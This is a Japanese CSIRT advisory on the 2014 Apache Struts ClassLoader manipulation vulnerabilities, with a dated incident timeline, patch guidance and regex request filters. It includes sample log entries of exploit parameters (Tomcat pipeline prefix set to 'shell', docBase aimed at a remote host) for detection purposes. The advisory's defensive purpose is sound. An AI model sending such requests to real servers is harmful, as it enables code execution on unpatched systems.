一般社団法人
日本シーサート協議会
Nippon CSIRT Association

Struts: ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094, CVE-2014-0112, CVE-2014-0113) について

2014年3月2日、Apache Struts のバージョン 2.0.0 から 2.3.16 には、class パラメタを利用した ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) が存在することから、対策版である Struts 2.3.16.1 がリリースされました。 インシデント情報活用フレームワーク検討 WGでは、日本シーサート協議会に加盟しているチームに協力を得て、インシデント発生を事前に予防する措置として、「Struts: ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) 」に関する公開情報を調査し、本レポートにまとめました。

  • ・更新履歴
    • 2014-04-25
      • ・新規

    Struts: ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) とは

    class パラメタを利用した ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) は、Struts の実装に起因する任意のコード実行、サービス運用妨害や情報漏えいを許してしまう脆弱性です。
    Struts 2.3.16.1 で脆弱性 (CVE-2014-0094) を除去する修正がされましたが、対策が不十分のままであり、Struts 2.0.0 ~ 2.3.16.1 が影響を受けます。 Struts 1.x についても、影響があります。

    この脆弱性を悪用された場合、条件によっては、Web サーバ上で、攻撃者の用意した任意のコードを実行されてしまう可能性があります。

    なお、Struts 2 については、2014年4月25日、新たに見つかった脆弱性を含め、脆弱性 (CVE-2014-0094, CVE-2014-0112, CVE-2014-0113) を対策した Struts 2.3.16.2 がリリースされました。 また、2014年5月3日、新たに見つかった脆弱性を含め、脆弱性 (CVE-2014-0094, CVE-2014-0112, CVE-2014-0113, CVE-2014-0116 ) を対策した Struts 2.3.16.3 がリリースされました。


    対策

    ウェブサイト管理者

    (1) (対策) バージョンアップあるいは、対策版を適用する。<Struts 1.x Struts 2.x>

    ベンダ情報 を参考にして、 Web サイトのサーバ上で稼働する Struts プログラムを対策版に更新してください。

    (2) (回避策) 不正な文字列の含むパラメタのリクエストを拒否するフィルタ機能を実装する。<Struts 1.x>

    GET ならびに POST リクエスト (含む、mulitpart/form-data の POST) において、 次の正規表現に該当する文字列がパラメタとして指定された場合、これを拒否するフィルタ機能を実装することで影響を緩和できます。 なお、パラメタのパターンは、更新される可能性がありますので、留意してください。

    (^|\W)[cC]lass\W


    (.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*

    注:S2-021 で、パラメタのパターンを指示しています。
    (.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*

    (3) IDS/IPS/WAF での検知遮断

    (4)(補助施策) ログファイルの調査

    対策の補助施策として、利用を検討してください。

    ログファイルに、
    class.classLoader.resources.context.parent.pipeline.first.* (*はワイルドカード)
    class.classLoader.resources.dirContext.docBase
    の記録が残っている場合には、脆弱性 (CVE-2014-0094)を悪用したアクセスが発生した可能性があります。 なお、アクセスの妥当性(正常なアクセスかどうか)を確認する必要があります。

    [ClassLoader がパラメタとして指定されたときの記録の例]
    Windows 版 Apache Tomcat 8.0.5 環境下で、logs\localhost_access_log.2014-04-XX.txt に記録されたものを紹介します。

    192.168.0.100 - - [24/Apr/2014:14:06:27 +0900]
    "GET /example.action?class.classLoader.resources.context.parent.pipeline.first.prefix=shell
    HTTP/1.1" 200 444

    192.168.1.1 - - [24/Apr/2014:14:06:15 +0900]
    "GET /example.action?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
    HTTP/1.1" 200 444


    ベンダ情報

    2014年05月13日

    2014年05月07日

    2014年05月03日

    2014年04月25日


    脆弱性識別子

    <Struts 2.x>

    + CVE-2014-0094
     ParametersInterceptor から ClassLoader の操作を許してしまう脆弱性
    + CVE-2014-0112
     CVE-2014-0094 の修正漏れによる脆弱性
    + CVE-2014-0113
     CookieInterceptor から ClassLoader の操作を許してしまう脆弱性
    + CVE-2014-0116
     CVE-2014-0113 の修正不足による脆弱性

    <Struts 1.x>

    + CVE-2014-0114
     Struts 1.x における ClassLoader の操作を許してしまう脆弱性


    観測日記

    S2-022 発行、Struts 2.3.16.3 リリース (2014年05月03日)

    2014年05月03日(米国時間)、セキュリティアドバイザリ S2-022 が発行され、Struts 2.3.16.3 がリリースされました。
    CookieInterceptor の脆弱性 (CVE-2014-0113) 対策の修正不足に対して、CVE-2014-0116 (Extends excluded params in CookieInterceptor to avoid manipulation of Struts' internals) が割り当てられました。

    Struts 1 向けの回避策 (2014年05月01日)

    Apache Struts project team から、HP Fortify team が提供する Struts 1 向けの回避策が紹介されました。

    Struts 1.x の脆弱性に CVE-2014-0114 を割当て (2014年04月29日)

    Apache Struts project team において、Struts バージョン 1.x にも ClassLoader の操作を許してしまう脆弱性の存在が確認されました。また、この脆弱性に対して、新たな脆弱性識別番号 (CVE-2014-0114) が割り当てられました。

    Struts の脆弱性を標的としたアクセスの増加 (2014年04月27日)

    4月26日、警察庁の定点観測システムにおいて、脆弱性を狙ったアクセスを観測していると報告しています。 脆弱性が存在するサーバを探索して、攻撃を試みている可能性を指摘しています。

    20140427-npa.jpg
    図20140427. Apache Struts2 の脆弱性を狙ったアクセス検知件数 (04月25日00:00~04月27日08:59)
    出典:警察庁

    攻撃の観測 (2014年04月26日)

    下記のようなアクセスのパターンで、「4/25から最近の話題の攻撃が観測されるようになりました。」と報告しています。yyy.yyy.yyy.yyy は、IPアドレスです。

    GET /toplel.action?class[%27classLoader%27][%27resources%27][%27dirContext%27][%27docBase%27]=//yyy.yyy.yyy.yyy/toplel HTTP/1.0

    攻撃の観測 (2014年04月25日)

    ラックから、 「セキュリティ監視センター「JSOC」において、本日に入ってから今回の脆弱性を悪用した攻撃を6件検知しました。 これらの攻撃は、日本国外の2つのIPアドレスから行われました。」と報告 (2014年04月25日 18:00) がありました。

    Struts 2.3.16.2 リリース (2014年04月25日)

    2014年04月25日(米国時間)、Struts 2.3.16.2 がリリースされました。

    対策にあたっての告知 (2014年04月25日)

    対策にあたっての告知が掲載され始めました。

    S2-021 発行 (2014年04月24日)

    Struts から、セキュリティアドバイザリ S2-021 が発行されました。
    getClass の脆弱性 (CVE-2014-0094) 対策の修正漏れに対して、CVE-2014-0112 (Incomplete fix for ClassLoader manipulation via ParametersInterceptor) が割り当てられました。
    また、CookieInterceptor を利用して、ClassLoader の操作を許してしまう脆弱性 CVE-2014-0113 (ClassLoader manipulation via CookieInterceptor when configured to accept all cookies) の存在が明らかとなりました。

    注意喚起 (再掲) (2014年04月24日)

    Apache Struts 2 系の 2.3.16.1 に脆弱性 (CVE-2014-0094) 対策の漏れが存在すること、 同様の脆弱性 (CVE-2014-0094) が、Apache Struts 1 系にも存在することを注意喚起しています。

    Struts 1 にも影響 (2014年04月24日)

    2013年上半期にサポートが終了した Struts 1.x も、脆弱性 (CVE-2014-0094) が存在することを明らかになりました。 ラックからの報告によれば、脆弱性を検証したバージョンは 1.1、1.2.9、1.3.10 (Apache Struts 1 シリーズ最終版) ですが、他のバージョンも影響するであろうことを指摘しています。

    Struts 2.3.16.1 での修正が不十分 (2014年04月22日)

    class パラメタ処理に起因する脆弱性 (CVE-2014-0094) を解決した Struts 2.3.16.1 でしたが、修正が不十分であると報告されました。 この報告を読み解くと、「パラメタ名 class はフィルタされているが、パラメタ名 Class はフィルタされない」としています。

    Struts 2.3.16.1 での修正が不十分 (2014年04月18日)

    情報セキュリティ早期警戒パートナーシップを通して、NTT-CERT から IPA に、Struts 2.3.16.1 の脆弱性 (CVE-2014-0094) 対策には修正漏れがあるという届出がされました。

    注意喚起 (2014年04月17日)

    公開されている脆弱性 (CVE-2014-0094) の検証コードを IPA で再現検証を実施した結果、Web アプリケーションの動作権限内で情報の窃取や特定ファイルの操作が可能であること、攻撃者が操作したファイルに Java コードが含まれている場合には、任意のコード実行を許してしまう可能性があることが報告されました。

    脆弱性の検証コードの投稿 (2014年04月03日)

    いくつかのサイトで、
    + Tomcat 8 環境下で脆弱性 (CVE-2014-0094) を利用すると、class.classLoader.resources.context.parent.pipeline.first.* を操作し、任意のコード実行ができる
    + Tomcat 8 環境下で脆弱性 (CVE-2014-0094) を利用すると、class.classLoader.resources.dirContext.docBase を操作し、任意のコード実行ができる
    の脆弱性の検証コード(2件)が投稿されました。

    20140403poc.png

    ClassLoader の操作を許してしまう脆弱性 (CVE-2014-0094) 公開 (2014年03月02日)

    Apache Struts のバージョン 2.0.0 から 2.3.16 には、class パラメタ処理に起因する脆弱性 (CVE-2014-0094) が存在することから、対策版である Struts 2.3.16.1 がリリースされました。

    Struts 1 サポート終了 (2013年04月05日)

    Struts のバージョン 1 が EOL (End-Of-Life) 対象となることがプレスリリースとして発表されました。


    更新履歴

    • 2014-05-18
      • ・ベンダ情報
    • 2014-05-09
      • ・Struts 2.3.16.2 がリリースされたため、 (回避策) パラメタ除外リストを改訂する。<Struts 2.x>を削除
      • ・観測日記 2014年05月03日
      • ・ベンダ情報
    • 2014-05-02
      • ・観測日記 2014年05月01日
    • 2014-04-30
      • ・発信元が掲載を変更したため、(回避策) サーブレットコンテナのフィルタを適用する。<Struts 2.x> を削除
      • ・観測日記 2014年04月27日
    • 2014-04-27
      • ・観測日記 2014年04月26日
      • ・観測日記 2014年04月25日
      • ・ベンダ情報
    • 2014-04-25 20:16
      • ・対策 (1)(2) の (回避策) パラメタのパターン更新を訂正  
         旧:(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
         新:(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
         と記載しましたが、'は、HTML表記で ' となりますので、旧フィルタの記述を使用してください。

        amp39.jpg

    • 2014-04-25
      • ・対策 (1)(2) の (回避策) パラメタのパターン更新を追記
    • 2014-04-25
      • ・新規

    Valid XHTML 1.0 Transitional 発行日:2014-04-25T08:14+09:00
    更新日:2014-05-18T08:24+09:00
    ページトップへ